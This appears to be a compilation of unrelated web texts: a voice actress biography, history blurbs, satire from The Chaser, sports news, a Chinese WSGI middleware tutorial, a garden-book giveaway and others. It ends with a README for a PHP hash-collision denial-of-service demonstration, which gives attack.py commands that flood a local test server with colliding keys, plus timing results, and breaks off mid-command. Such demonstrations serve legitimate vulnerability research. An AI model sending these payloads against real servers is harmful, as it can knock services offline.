text:
Cathy Cavadini
Cavadini at the 2013 Comikaze
Catherine Janet Cavadini
Long Beach, California, U.S.
Blossom in The Powerpuff Girls
catherinecavadini.com
Catherine Janet "Cathy" Cavadini (born April 21, 1961) is an American voice actress. She is most well known as the original voice of Blossom on Cartoon Network's animated television series The Powerpuff Girls and Tanya Mousekewitz in An American Tail: Fievel Goes West and in the subsequent TV series, Fievel's American Tails. In 2003, Catherine was honored with a White House Project Epic Award (which gives recognition to projects that promote women leadership) for her work in The Powerpuff Girls Movie as Blossom.[1]
In 1998, Cavadini was nominated for an Annie Award for "Outstanding Individual Achievement for Voice Acting by a Female Performer in an Animated Feature Production" for performing the voice and singing for the role of Mary in the animated movie Babes in Toyland. She also sang Dreams to Dream as the character Tanya Mousekewitz in the animated movie An American Tail: Fievel Goes West, which was nominated for Best Song at the 49th Golden Globe Awards. In addition, she has received 2 Emmy Award Certificates for contributing to Outstanding Sound on the TV series, The X-Files.
1 Partial filmography
1.1 Anime
1.2 Film
1.3 Television
Partial filmography
Japan Sinks: 2020 – Kanae Murota (credited as "Catherine Cavadini")
All-Star Superman – Cat Grant and Floral
An American Tail: Fievel Goes West – Tanya Mousekewitz
Babes in Toyland – Mary, Nominated-Outstanding Individual Achievement for Voice Acting by a Female Performer in an Animated Feature Production
Batman: The Dark Knight Returns - Part 1 – Bruce's Pit Crew, Joannie, and Woman with Hot Dog
Cars 3 – Additional voices
Cats & Dogs: The Revenge of Kitty Galore – Christmas Lady
Chernichaw's Go! Chase - Alice Chernichaw
Dinosaur – Female Lemurs
Final Fantasy: The Spirits Within – Additional voices
Finding Dory – Debbie
Ford v Ferrari - Additional voices
Garfield Gets Real – Daisy Girl
Garfield's Pet Force – Additional voices
The Grinch – Additional voices
Happy Feet and Happy Feet Two – Additional voices
Incredibles 2 – Welch, TV Anchor #1
It Was My Best Birthday Ever, Charlie Brown – Mimi (singing voice)
Jaws: The Revenge - Additional voices
Klaus - Additional voices: Adults
Lilo & Stitch – Fainting Girl
The Lion King – Pridelanders
My Little Pony: The Movie (1986) – North Star
The Other End of the Line – Jennifer David, Priya Sethi's English-speaking voice (credited as "Special Voice Artist")
The Powerpuff Girls Movie – Blossom
Pound Puppies and the Legend of Big Paw – Charlamange, Collette
Ready Player One - IOI P.A.
Scooby-Doo! Legend of the Phantosaur – Faith
Starchaser: The Legend of Orin – Additional voices
Wonderful Days – Jay, Young Shua, and Cheyenne
Wonder Park – ADR Looper (credited as "Catherine Cavadini")
Sing – Bunnies (credited as "Catherine Cavadini")
Spy - Additional voices
Soul - Dreamerwind
Adventures from the Book of Virtues – Sarah West and Mother Snake (ep. "Friendship")
Back to the Future: The Animated Series – Jennifer Parker
The Batman – Wife, Movie Star and Reporter (ep. "The Big Chill")
Batman: The Brave and the Bold – Alanna Strange; Jan and Ruby Ryder (ep. "Bold Beginnings!"); Fiona and Dr. Myrra Rhodes (ep. "Four Star Spectacular")
Ben 10 – Cooper Daniels (ep. "Ben 10 vs. The Negative 10")
The Cleveland Show – Siri
Darkwing Duck – Additional voices (ep. "Time And Punishment")
Doc McStuffins – Dart
Duck Dodgers – Cheerleader (ep. "The Kids Are All Wrong/Win, Lose or Duck")
Duckman: Private Dick/Family Man – Paperboy, Blonde girl (ep. "All About Elliott")
Fievel's American Tails – Tanya Mousekewitz and Yasha Mousekewitz
Jackie Chan Adventures – Abila and Female Warrior (ep. "Lost City of the Muntabs")
Jem – Clash (aka Constance Montgomery)
Johnny Bravo – Sandy Baker (ep. "The Time of My Life")
Justice League – Doctor Mary and Blonde Girl (ep. "The Brave and the Bold")
Justice League Unlimited – Katie and Billy's Girlfriend (ep. "Dark Heart")
Kidd Video – Glitter
The Little Mermaid – Andrina
Michael Jackson's Halloween - Additional voices
Mister T – Skye Redfern (ep. "Mystery of the Forbidden Monastery")
My Life as a Teenage Robot – Singer and Girl #3 (ep. "A Robot for All Seasons")
My Little Pony – Ariel (ep. "Flight to Cloud Castle")
Peter Pan and the Pirates – Cecilia (ep. "Hook's Christmas")
The Powerpuff Girls – Blossom
The New Adventures of Sheldon - Alice Chernichaw
Teen Titans – Alien Woman / Chrysalis Hunter (ep. "Transformation")
Spider-Man & His Amazing Friends – Ariel (ep. "Spidey Meets the Girl From Tomorrow")
Superman – Additional voices (ep. "Bonechill/The Driver's License")
The What-A-Cartoon! Show – Blossom
What's with Andy? (Season 1) – Mrs. Frieda Larkin, Teri, and Mrs. Weebles
Broken Age – Car'l,[2] Twyla, Candle Maiden
Cartoon Network Racing – Blossom
Cartoon Network: Punch Time Explosion XL – Blossom
Dishonored 2 – Aristocrats
Final Fantasy VII Remake – Jessie's Mother
Final Fantasy X – Calli the Chocobo Attendant, Additional voices
Final Fantasy XIII – Cocoon Inhabitants
Final Fantasy XIII-2 – Additional voices
FusionFall – Blossom
The Golden Compass – Valla the Witch of the Tundra, Bolvangar Nurse, and Tartar Leopard
Gun – Sadie
Happy Feet – Norma Jean, Human #1, Young Penguin #1
Iron and the Maiden – Angel and John Chase Jr.
Jumper: Griffin's Story – Griffin's Mom, Dr. Hoffstader, and Assassin
Lost Odyssey – Additional voices
The Powerpuff Girls: Chemical X-traction – Blossom
The Powerpuff Girls: Relish Rampage – Blossom
Warhammer Online – Felica
White Knight Chronicles and White Knight Chronicles II – Kara
WildStar – Mechari Female
^ "Catherine's listed achievements on her official website". catherinecavadini.com.
^ Haas, Pete (September 1, 2013). "Double Fine's Broken Age Cast Includes Jack Black, Jennifer Hale". Cinema Blend. Retrieved September 2, 2013.
Wikimedia Commons has media related to Cathy Cavadini.
Cathy Cavadini on IMDb
http://catherinecavadini.com/ Catherine Cavadini official website
Cathy Cavadini's Official Facebook fan page
Cathy Cavadini on Twitter
A video from CBS News featuring Catherine Cavadini


text:
When faced with dwindling supplies of gunpowder while trying to hold off besieging British and Indian soldiers, teenager Betty Zane volunteers to run a gauntlet of death to retrieve more to help with the fight.
Betty Zane's Suicide Mission
Nancy Hart, a Georgia mother of eight, became a legend after she duped some Loyalists who invaded her home by getting them drunk then killing them.
Don't Mess With Nancy Hart
A supersized soldier named Peter Francisco becomes a legend on the battlefield for his displays of superior strength and fighting ability at various key battles during the American Revolution.
Peter Francisco the One Man Army
A shadowy double agent, Irishman John Honeyman has the trust of the British because he distinguished himself with them during the French-Indian War. With his help, George Washington is able to surprise a Hessian garrison and defeat them at Trenton.
John Honeyman the Mysterious and Indispensible Spy
Sharpshooters like Pennsylvanian Timothy Murphy not only started firing rifles from a very young age but they also possessed superior technology in the form of the Kentucky long rifle which had a grooved bore.
The First American Sharpshooters
Born into slavery but free by the time of the American Revolution, Salem Poor was an exceptional fighter who played an influential role at the Battle of Bunker Hill.
Salem Poor Born a Slave Fights for Freedom
Captain John Parker and his 77 Minutemen attempted a show of determination when they were approached by Major John Pitcairn and his force of 700 Regulars at Lexington. What they did was initiate open armed conflict and a war.
It Begins at the Battle of Lexington
The grievances between disgruntled colonists and the British crown veered from politics to open armed conflict after the Boston Massacre. The trial of the British troops and the Crown's approval of their acquittal led to an easing of tensions.
The Boston Massacre and The Trial That Followed
A ragtag bunch of patriots took a stand against the world's greatest empire and was able to inflict a huge toll, both in numbers of soldiers lost and psychologically.
Rise of the Patriots at Battle of Bunker Hill
For 2000 years, explorers have searched for the ancient boat that, according to The Bible, saved Noah from a great flood. But does the ark actually exist? Some modern ark hunters believe it does, and that it is in modern-day Turkey.
The fate of the legendary Russian Amber Room that was looted by the Nazis in World War II still remains a mystery, with many differing theories as to what became of the so-called Eighth Wonder of the World.
Where is the Amber Room?

redpajama_set_name: RedPajamaCommonCrawl


RAFFA Nominees in Group A screen at the Old School Arts Centre on Monday 17th September at 6.30pm and Friday 21st September at 4.30pm. No reserves. Entry by koha.
town. It's a summer of adventure, friendship and the pursuit of romance.
own her family's safe return to Raglan.
group of 30-something year olds.
with losing yourself to find yourself and letting go whilst on holiday.
so good, but mainly just an excuse to showcase some good tubes.
A stay in Ahipara at a couple of Raglan expats' place, turns into a comedy when the filmmaker tries to go fshing.
painting, exhibition, yummy food and slam poetry.


Architecture is the art of building. That is something most everyone would agree on. Yet architecture is much more than that, it is also how you experience a space, for example. Architecture is the shaping, the moulding, the crafting of space. If you have at least two walls, you have a space. The task of the architect is to give this space a form that one feels good in. Factors which play a distinct and critical role herein include acoustics, dimensions, the angle of light, colour, temperature and humidity.
Tranquillity and harmony, complimentary colours, stylish accessories: our highly-qualified interior designers and stylists are happy to provide you with expert interior design advice. We are able to suggest materials, a colour palette or even a completely new look. Leave it to our interior experts at Kabaz and get ready to be amazed.
Our creative process always begins at the drawing table. It might seem a bit old-fashioned, but we are convinced that we can give our thoughts shape with a pencil, ruler and drawing paper faster than on a computer screen. Of course, our architects and interior designers keep up with the times and also make use of programmes such as Arkey, Autocad and Vectorworks for the more elaborate, detailed work. We also work with various 3D animation and rendering programmes, the choice of which depends on the desired quality.
Good preparation and professional management of a new build or renovation makes all the difference. We excel in construction management. We have years of experience, a team of first-rate specialists and reliable selected partners whom we can always count on. You have a single point of contact at Kabaz: your construction manager. Ours are there to make sure that everything goes exactly according to plan and is done to precisely your specifications and standards.
Whether redeveloping an existing piece of real estate, renovating, doing a new build or redesigning an office, shop, hotel, restaurant or cafe, the starting point of our architects and interior architects is the integration of your professional identity in the finished space. The balance of design and functionality are determined beforehand, just as the budget and planning are. That way, the only surprise will be a finished project which takes your breath away.


text:
DU Home » Latest Threads » Forums & Groups » Places » U.S. » Missouri (Group) » 'Cease-and-desist' letter...
Sun Sep 27, 2020, 04:44 AM
'Cease-and-desist' letter by Galloway campaign prompts edit to GOP attack ad
JEFFERSON CITY — State Auditor Nicole Galloway's campaign for governor fired off cease-and-desist letters to television station managers across Missouri this week, saying an ad produced by a GOP-allied political action committee falsely accused her of committing a crime.
Legal pressure by the Galloway campaign had, as of Friday, resulted in nine stations removing the original Uniting Missouri PAC ad from the air, said Kevin Donohoe, spokesman for the Galloway campaign. A spokesman for Uniting Missouri said the group voluntarily replaced the ad with an edited version.
Uniting Missouri supports Gov. Mike Parson, Galloway's Republican opponent on Nov. 3.
The skirmish highlights the rough-and-tumble nature of election advertising, where opposing campaigns and groups portray other candidates in the worst light possible. In some cases, TV station managers get caught in the middle, acting as referee between lawyers for both sides.
Read more: https://www.stltoday.com/news/local/govt-and-politics/cease-and-desist-letter-by-galloway-campaign-prompts-edit-to-gop-attack-ad/article_2e7214d4-f404-5e3d-992c-9bd4fa53e4ce.html


Philtata Press is thrilled to announce the publication of Guarding the Countess, Lily Reynard's latest book. It's a thrilling historical romance set at the decadent court of Charles II in 17th century England.
She's a widowed countess in need of protection. He's a handsome mercenary swordsman with a dark secret. And they have a ruthless enemy willing to do anything to keep them apart.
Guarding the Countess is available on Amazon.com and for a limited time, you can read it for free with a Kindle Unlimited subscription.


text:
Posted on February 11, 2021 February 11, 2021 by Desert Gardener
New Covid strain makes 10 day lockdown in Saudi
Well it's not news to people in Saudi, but perhaps you would like to know how the country is handling the new virus strain. Here lockdowns or temporary closures have become commonplace during Covid, especially around holidays. Now that the new strain has entered the country, the Saudi Ministry of Health is being extra cautious again. Throughout the pandemic most people here believe that the strict measures put into effect, sometimes with less than 24 hour notice, have helped keep the numbers down. We feel more safe because more or less, folks are following the guidelines. We are still in the 10 day lockdown period, with grocery stores, hospitals and even some malls being open, but very restricted.
Now there is also a very controlled way to see where people go and who they have come into contact with. Everyone who wants to enter a mall, store, hospital, etc. must download a country-wide App called Tawakkalna. This App let's you know if you've been near someone who may have been infected. It's a trackable App. There are different color bands that show in your screen. The one you want to have is green, as that means you are healthy. If you come to Saudi as a tourist, I'm sure you will now be made to register and download the App, as it has a color line for people who are in quarantine. It also bans people who don't have the green line from entering any business.
If you think this is a bit much, well other countries have also put Apps to work. For example when you enter Bahrain, you must download their Covid App before you leave the airport, or enter by causeway. It lets you know your Covid test result from the compulsory test you get there, during your quarantine.
Below are two articles where you can read about the new restrictions and the new App. It had some issues at the beginning, just last week or so, as so many people were registering. Now it seems to be working fine.
"COVID-19 rules in Saudi Arabia: Events, weddings canceled and cinemas, gyms closed", written by Ismaeel Naar, 4 Feb. 2021 in Al Arabiya news. Here's an excerpt from the article with link below.
"Saudi Arabia has introduced new rules to stem the spread of COVID-19, including the suspension of all recreational activities and events for the next 10 days, according to the interior ministry.
Saudi Arabia will close all cinemas, indoor entertainment centers, independent indoor games venues or those located in restaurants or shopping centers, etc, gyms and sports centers for a period of 10 days as part of countermeasures against COVID-19, according to an official announcement early on Thursday."
https://english.alarabiya.net/coronavirus/2021/02/04/Coronavirus-Coronavirus-Saudi-Arabia-suspends-all-recreational-activities-events-for-10-days
"Massive registration surge causes Saudi Tawakkalna COVID-19 app to crash", 6 Feb. 2021, in arabnews.com. Here's an excerpt from the article with link below.
"Almost 10 million users registered with Tawakkalna since May 2020 – that number recently rose by 22.5 percent to 12.5 million.
But when the government this last week made use of the app mandatory for all people in the Kingdom to enter worksites, shops, and malls, attempts to sign in reached 250 million causing it to crash.
The app provides information surrounding the spread of COVID-19 in the Kingdom, including telling users when they are close to an area where there are known cases, and helps with the early detection of possible infections – it also allows people to apply for permits during times of curfew.
Suspected cases can also be reported through the app."
https://www.arabnews.com/node/1804996/saudi-arabia
CategoriesCovid-19, Current Events, Health, Travel TagsNew Covid strain in Saudi, Saudi Covid 10 day rules in Feb, Tawakkalna App for all in Saudi, Tourism with Tawakkalna App
Previous PostPrevious Services—–Saudi Luxury Hotels 2021
Next PostNext Sandy Dunes of Saudi Desert–Train ride Riyadh to Dammam (short video)


Ours is a small wine cellar located at the heart of the Barolo growing area.
It is run by the third generation of wine producers in the Bovio family, who were originally from the Annunziata hamlet.
Gianfranco Bovio began to look after his father Alessandro's holdings in the 1970s, renovating the old cellars and dedicating himself with passion to the making of wines grown on the estate vineyards that stretch out over 6.5 hectares.
Now it is the turn of Alessandra and her husband Marco Boschiazzo to continue the family tradition, with the co-operation of winemaker Matteo Franchi, and Robert Tofan front of house.
The company philosophy is strongly embedded in tradition and terroir, from the scrupulous tending of the vineyards, through to the ageing of the wines in large oak casks.
Our production includes two Barolo crus - Arborina and Gattera - and a classic-style Barolo made from grapes grown on vineyards in La Morra, Barolo and Castiglione Falletto, plus Nebbiolo Firagnetti, Barbera d'Alba Ciotto and Regiaveja, Dolcetto d'Alba Dabbene and the white Langhe Bianco Alessandro.


text:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE helpset PUBLIC "-//Sun Microsystems Inc.//DTD JavaHelp HelpSet Version 2.0//EN" "http://java.sun.com/products/javahelp/helpset_2_0.dtd">
<helpset version="2.0">
  <title>nb-jdepend Help</title>
  <maps>
    <homeID>org.huberb.jdepend.about</homeID>
    <mapref location="jdepend-map.xml"/>
  </maps>
  <view mergetype="javax.help.AppendMerge">
    <name>TOC</name>
    Table of Contents
    <type>javax.help.TOCView</type>
    <data>jdepend-toc.xml</data>
  </view>
  <view mergetype="javax.help.AppendMerge">
    <name>Index</name>
    Index
    <type>javax.help.IndexView</type>
    <data>jdepend-idx.xml</data>
  </view>
  <view>
    <name>Search</name>
    Search
    <type>javax.help.SearchView</type>
    <data engine="com.sun.java.help.search.DefaultSearchEngine">JavaHelpSearch</data>
  </view>
</helpset>

redpajama_set_name: RedPajamaGithub


text:
For The Chaser
1st of your 1,000,000 free articles this month
Thousands of naughty kids injured after Santa replaces coal with wind turbines
Fears of super spreader event after single man visits 7 billion houses in one night
Dyslexic child stays up on Christmas Eve waiting for Satan
Inspired by the success of the Walk Against Warming event, self-described fan of the environment Juan Martinez is staging a one-man road trip to fight climate change. With a "honk if you hate fossil fuels" bumper sticker firmly in place, Martinez will drive his dilapidated Kombi van on a whistle-stop tour to his local shopping centre, spreading his anti-global warming message to fellow motorists on the way. "Think global, act local," he says.
Martinez says he had intended to participate in the Walk Against Warming, but somehow "never got round to it."
Get the Chaser newsletter
"I started off thinking about a bike-ride, but I'm not in great shape, and it's pretty dangerous with all the cars on the road. Then I thought I'd drive a hybrid car, but they're pretty pricey," he says. Martinez points out that driving allows him to carry tens of thousands of information booklets printed on high-quality paper.
This is not the first time the semi-committed activist has mounted a campaign of this kind. He once had a team of sky-writers spell out "RATIFY THE KYOTO PROTOCOL NOW" in the skies above Brisbane. But not everyone supports the campaigner's stances.
"People are pretty quick to criticize," he says. "They'll point out that what I'm doing not only harms the environment, but also requires no real effort. But it's often the little things that make a difference. If everyone just left their air-conditioner on full-blast 24-hours a day, temperatures wouldn't rise as fast. And we can all do our bit for the water crisis by using bottled water whenever we can."
Martinez is now planning a weekend-long lounge-room "stoned sit in" to advocate the decriminalization of marijuana.
If you enjoyed this article, consider becoming a contributor to the Chaser Beer Fund. For just $1 a month you can help us employ 20 more interns. DONATE NOW
"Anti-vax tennis players are a danger to society" says government full of anti-vaxxers
Dominic Perrottet tells coastal NSW to learn to live with Tsunamis
'Nothing is free' says man who just paid $6 billion to not buy any submarines
Compromise reached: Australian Open to be held inside a Hillsong Church
Medical Miracle: Government halt the spread of Covid by just declaring everywhere a Hillsong Church
"Unlike Boris, I would never plan anything during the pandemic" Morrison assures nation


text:
Strong start of the 2022 season for Rafa Nadal
The Majorcan won with authority the first tournament of the year, the Melbourne ATP 250, and left a very good feeling
Rafa Nadal returned to the courts after a five-month absence due to an injury on his right foot and made a big comeback at the ATP 250 in Melbourne by adding his 89th title to his career. "Holding a trophy means a lot after being so long without playing," said the Majorcan after rediscovering himself with the victory. Last season he was only able to compete for the first half of the year, winning the titles of Barcelona and Rome.
The twelve-time champion of the Barcelona Open Banc Sabadell beat American Maxime Cressy 7-6 (6), 6-3 in the Melbourne final, in a match where seniority played in favor of the Spaniard. Nadal, who was in his 124th final, was much more serene than his rival during the match and knew how to control the encounter at key moments. Cressy stepped on the court with nothing to lose and put the former world No. 1 in problems in the first set, forcing an agonizing tie-break. In the second set, the Majorcan reacted and brought out the best version of himself to secure his first title of the year and, more importantly, confirm that physical problems are behind him.
With this triumph, the RCTB-1899 player already has 89 titles in his record and is approaching the podium of the most successful tennis players in history (he is five wins behind Ivan Lendl). Jimmy Connors continues to dominate this statistic with 109 titles, to Roger Federer's 103. Behind, next on the list after Rafa Nadal is Novak Djokovic with 86.


Sometimes players are so good they have to create new statistics in order to quantify their talent. Such was the case with Detroit Red Wings star Pavel Datsyuk, who recently left the National Hockey League to play in Russia. Datsyuk pioneered the takeaway, even before the NHL began tracking the stat in 2006. In his 14 years with the Red Wings, he helped Detroit win the Stanley Cup twice. In the 11,100 career games Datsyuk played in, he scored 356 goals and made 675 assists. And all this, after going undrafted in 1996 and 1997. In honor of the "Magic Man," join the NHL Network's Jon Morosi as he takes you through the highlights of Datsyuk's career.


text:
其实中间件对于服务器端或者应用端都是一点关系.也就是所谓的中间件吧!
比如:

* 路由一个请求到正确的应用对象,基于给定的url.通过重写<tt class="docutils literal">environ</tt>.
* 可以让多个不用的应用或者框架前后同时跑在同一个进程中.
* 负载均衡和远程处理,分发请求和响应在网络上.
* 处理文本内容,例如分析XSL样式.

一般来说,中间件对于服务器端和应用端都是透明的,不应该有额外的一些需要支持,

用户谁想要把中间件到应用程序中简单提供中间件组件到服务器,就好像它是
一个应用程序,并配置中间件组件调用应用程序,仿佛中间件组件是一个服务器。
当然,在"应用程序" ,该中间件包裹实际上可能是另一个中间件组件包裹另一个
应用,等等,产生什么被称为"中间件堆栈" 。

在大多数情况下,中间件必须符合限制与服务器和应用程序的边要求WSGI 。
在某些情况下,然而,需要对中间件是不是一个"纯粹"的服务器或应用程序更加严格,
这些点可以注意到在本说明书中。

这是一个简单的例子,关于中间组件的,转化<tt class="docutils literal">text/plain</tt> 到响应,使用
<tt class="docutils literal">piglatin.py</tt>.注意,一个'真'的中间组件将会使用一个更加机械的方式来验证
内容文本,同时这个简单例子忽略了一个可能性,就是一个单词可能会被分割开来.

<pre class="literal-block">
from piglatin import piglatin

class LatinIter:

    """Transform iterated output to piglatin, if it's okay to do so

    Note that the "okayness" can change until the application yields
    its first non-empty bytestring, so 'transform_ok' has to be a mutable
    truth value.
    """

    def __init__(self, result, transform_ok):
        if hasattr(result, 'close'):
            self.close = result.close
        self._next = iter(result).__next__
        self.transform_ok = transform_ok

    def __iter__(self):
        return self

    def __next__(self):
        if self.transform_ok:
            return piglatin(self._next())   # call must be byte-safe on Py3
        else:
            return self._next()

class Latinator:

    # by default, don't transform output
    transform = False

    def __init__(self, application):
        self.application = application

    def __call__(self, environ, start_response):

        transform_ok = []

        def start_latin(status, response_headers, exc_info=None):

            # Reset ok flag, in case this is a repeat call
            del transform_ok[:]

            for name, value in response_headers:
                if name.lower() == 'content-type' and value == 'text/plain':
                    transform_ok.append(True)
                    # Strip content-length if present, else it'll be wrong
                    response_headers = [(name, value)
                        for name, value in response_headers
                            if name.lower() != 'content-length'
                    ]
                    break

            write = start_response(status, response_headers, exc_info)

            if transform_ok:
                def write_latin(data):
                    write(piglatin(data))   # call must be byte-safe on Py3
                return write_latin
            else:
                return write

        return LatinIter(self.application(environ, start_latin), transform_ok)

# Run foo_app under a Latinator's control, using the example CGI gateway
from foo_app import foo_app
run_with_cgi(Latinator(foo_app))
</pre>


I'll be honest, when I was asked to review and join this event I was a little nervous as I'm one of those people who struggles to keep indoor plants alive. There – I've said it. Yes, I'm a landscape designer and yes, I love nothing more than working in my own beautiful garden, but when it comes to houseplants it's a whole different story. I just sort of 'check out' and assume I'll most likely kill the poor plant after a few months.
But after thinking about it I realized I'm probably the ideal person who should read this book! So, after reading the entire book cover to cover, I felt much better knowing that I'm not alone in my indoor plant abuse. My plants will certainly thank them for their helpful advice in not only thinking outside the box when designing with indoor plants, but how to choose the right plant and take care of them.
One of my favorite chapters is called 'Haberdashery' and deals with something that's rarely written about – helping men embrace their 'uniquely masculine space'. Inspiring ideas are introduced for men out there who want something more than a fussy fern in a glazed ceramic pot.
The authors suggest including plants that are structural by nature therefore making a statement all on their own. Also encouraged are materials that are hefty and bold, including wood, hypertufa or heavy glass.
This got me thinking about my own houseplants (the few that are surviving) and which ones my husband tends to gravitate towards.
One of his favorites is our terrarium filled with different pebbles and a mix of air plants (tillandsias – which, by the way, are some of my favorite houseplants of all, requiring nothing more than the occasional soaking and light feeding).
And after reading this chapter, this doesn't come as a surprise at all. Structural plants? Check! Chunky stones? Check! Heavy glass? Check!
Another favorite of his is our 'pot within a bowl'.
He doesn't seem to care one way or the other about the unusual African violet with its splashy leaves, but instead loves the corks that we place in the outer container.
After finishing a bottle of wine, he gives careful thought as to whether the cork is 'container worthy' or not.
Which leads me to another aspect of this book – the clever projects listed throughout.
One, in particular, has clearly got my husband's name on it! I almost hesitate to show him this as it'll surely bring more cork-related decisions his way.
There are 11 bloggers participating in this fabulous party, each offering a different prize. Just leave a comment on each participating blog for a chance to win that specific prize. The more blogs you visit, the more chances to win! Please note that because of shipping costs, giveaways are restricted to residents of the U.S. The giveaway runs through Sunday May 12. The winner will be announced on Monday the 13th.
I'm giving away an adorable set of Moss Rocks. Moss Rocks are living sculptures and zen moss gardens all rolled into one neat package. Enjoy the lush and soothing Dicranum mosses like never before in these beautiful pre-planted container.
This prize consists of one Cobble (medium) in Bark glaze and one Pebble (small) in toadstool glaze. Donated by Moss and Stone Gardens, a design firm in Raleigh, N.C., specializing in moss landscapes.
For more reviews and 10 more chances to win, please stop by the following blogs – and best of luck to everyone!!
I'd love to have some moss rocks on my office desk.
Those are so lovely! I know the perfect spot for them in my dining room too.
I love the wine corks in the African Violet dish. Gives me a reason to drink more wine!
My husband has such a hard time throwing away wine corks – and you can only have so many cork boards. Looks like I've found another way to use them!
I'm glad to hear I'm not the only one that has some trouble keeping houseplants happy. Looks like a great book, and love the moss rocks, too.
So unique and beautiful,love this giveaway and your blog !
How cute. I really gravitate to natural and Japanese containers, so these would fit right in. I had never seen them before.
I have never seen moss rocks before! Those are so cute!
I've always dreamed of having a moss garden, but in my little apt I didn't think I'd have a chance. The rocks are amazing! Even if I don't win, I'm inspired to find a way to grow some moss inside my home. Thanks!
Very cute ideas 🙂 Would love to win those moss rocks.
I have one lonely little moss rock that needs a family! Thanks for the opportunity! Happy Moss Rocks! Pamie G.
Love the Book and your Moss Rocks are a Cool idea.
I have a yard full of moss that I don't like. I do like your moss rocks!
Makes me wish I drank wine so I could do some of those cork projects, too 🙂 Beer bottle caps just don't have the same rustic look.
CONGRATS to Kylee and Jenny on the recent release of Indoor Plant Decor. Looks like a great book. I've added it to my wish list.
You are offering an awesome giveaway for the book party. The moss rocks would look so cool on my desk.
I'm with you, always killing house plants through some measure of neglect. I need to change that. Jenny's book may be the answer. Love all the photos and especially the cork ones. I always have plenty of those at hand.
Ooooh! Those would look adorable on my plant table … want!
Those moss rocks are adorable! I'd love to have them.
I love that African Violet! My mother always had violets and I think I have finally found a place where I can make one happy. I am having trouble finding a good source for these classic house plants, though. Any ideas?
Perfect give away prize. I've been wanting to try a moss garden and those are adorable.
I also struggle to keep indoor plants alive; my lighting isn't the best but if they were watered regularly I think it would help! Indoor plants are way too dependent on me, mother nature can't help keep them watered. But I do love what plants add to your home, and it looks like this book has lots of ideas for interesting house plants that I wouldn't be so inclined to forget about.
First visit here. I linked in through Pam's blog "Digging" and am glad I did. I moved into a new house a couple years ago and am still trying to find the balance of plant life I had before.
Oooh how fun! Gonna have to get this book!
Would love to win a moss rock. These are so fun.
Those little moss rocks are absolutely adorable. I've never seen anything so creative.
Thanks for the confession. I'm very good at killing houseplants, but I still can't give it up! The moss rocks look awesome.
I would love to have some moss rocks in my home they look so creative in pictures. Thanks for the giveaway opportunity!
Moss is great. I'm trying to grow a moss garden in a little shady spot where no grass will grow. I'd love a moss rock.
I would love to win the moss rocks and really liked your terrarium with rocks and air plants.
Great creativity! Who knew there was so much to be done with corks! Moss rocks are gorgeous.
Looks like this is a really good book providing wonderful ideas. I love the creativity of recent years. Thanks for being a part of this book party celebration.
Cool book and great gift (moss rock). I love houseplants, too. Trying to keep the collection manageable is always the challenge.
A little moss in drought-plagued SoCal would be a treat!
I too love gardening outside and I'm just starting to think about bringing some of that life inside. This looks like wonderful inspiration to do just that!
I adore those moss ceramics, they would look perfect in my house.
Your moss rock plants look amazing! Love indoor gardening during our cold winters!
I love indoor plants and have had some success but need to expand my horizons! Thank you for the opportunity. Moss rocks are the perfect choice.
Thank you. I like your terrarium with the different pebbles!
The moss rocks are adorable–thanks for the heads-up on the book, too, which I plan to buy sometime soon.
Love the moss rocks. Thanks for the chance!
Low maintenance indoor gardens are appealing to me. Only the hardiest plants seem to last long under my care. These moss rocks offer a unique new option to try.
Thanks for the giveaway and the extra pics!!! Very creative indoor plants!!
So sweet those are. Kind of like classier chia pets!


text:
Checkout the [associated blog post](http://lukasmartinelli.ch/web/2014/11/17/php-dos-attack-revisited.html).

## How it works

PHP hashtables are vulnerable to complexity attacks. Every function
that takes external input and parses in a PHP hashtable is therefore
vulnerable to complexity attacks.

![Insert Animation](http://lukasmartinelli.ch/media/hash-collisions.gif)

## Test PHP vulnerabilities to Collision Attacks

In the directory `test` there are PHP scripts that demonstrate vulnerabilities of
functions that use the PHP map.

The file `collision_keys_small.txt` contains only 10k entries.
If you want to test out the real deal you should try these attacks
with `collision_keys.txt` (64k entries).

### Run tests

Run tests for inserting colliding keys into array:

```
docker run -it \
-v "$PWD":/usr/src/app -w /usr/src/app php:5.6-cli \
php test/array.php collision_keys.txt
```

Run tests for calling `json_decode` for JSON key-value pairs with colliding keys:

```bash
docker run -it --rm \
-v "$PWD":/usr/src/app -w /usr/src/app php:5.6-cli \
php test/json_decode.php collision_keys.txt
```

Run tests when `unserializing` an array with colliding keys:

```bash
docker run -it --rm \
-v "$PWD":/usr/src/app -w /usr/src/app php:5.6-cli \
php test/unserialize.php collision_keys.txt
```

#### Different PHP versions

Docker tags for official Docker PHP image:

- `5.4.43-cli`
- `5.5.27-cli`
- `5.6.11-cli`
- `7.0.0beta2-cli`

#### Measurements

Median in `seconds` of 100 samples for each measurement on a `m1.medium` instance.
Note that this is only a portion of evil keys consisting out of 10k keys.
Imagine what 64k evil keys kan do.

**Good:**

PHP Version | `array`     | `json_decode` | `unserialize`
------------|-------------|---------------|----------------
5.4.43      | 0,0033      | 0,0022        | 0,0022
5.5.27      | 0,0034      | 0,0019        | 0,0022
5.6.11      | 0,0054      | 0,0019        | 0,0022
7.0.0beta2  | 0,0009      | 0,0009        | 0,0008

**Evil:**

PHP Version | `array`     | `json_decode` | `unserialize`
------------|-------------|---------------|----------------
5.4.43      | 1,2470      | 1,3896        | 1,3896
5.5.27      | 1,2355      | 1,4049        | 1,2786
5.6.11      | 1,2487      | 1,3999        | 1,3203
7.0.0beta2  | 0,3711      | 0,3737        | 0,3718

## Plot time difference

You can generate the plot data used for the diagrams by yourself:

```bash
docker run -it --rm \
-v "$PWD":/usr/src/app -w /usr/src/app php:5.6-cli \
php plot/json_decode.php collision_keys.txt
```

![json_decode time compared for collisions](/plot/json_decode_time.png)

## Run the server

```bash
docker run -it --rm -p 8080:80 -v "$PWD"/server:/var/www/html php:5.6-apache
```

Docker will map the port `80` of the webserver to `8080`.
Therefore you can visit your site at `localhost:8080`.

## Run a Hash Collision Attack

The `attack.py` script will make parallel requests (amount can be specified with `--count`)
to a URL endpoint. It reads collisions from given text file and tries to do a
Hash collision Attack with them. You can set the attack type to either use form fields
or a json map.

Make 100 good normal requests to a fake JSON API.

```bash
docker run --rm -t lukasmartinelli/php-dos-attack \
python ./attack.py http://172.17.42.1:8080/index.php collision_keys.txt --count=100 --type=json --no-collide
```

Make 100 bad requests to a fake JSON API.

```bash
docker run --rm -t lukasmartinelli/php-dos-attack \
python ./attack.py http://172.17.42.1:8080/index.php collision_keys.txt --count=100 --type=json
```

You can also run the form based attack (which has been fixed by an Appache workaround).

```bash
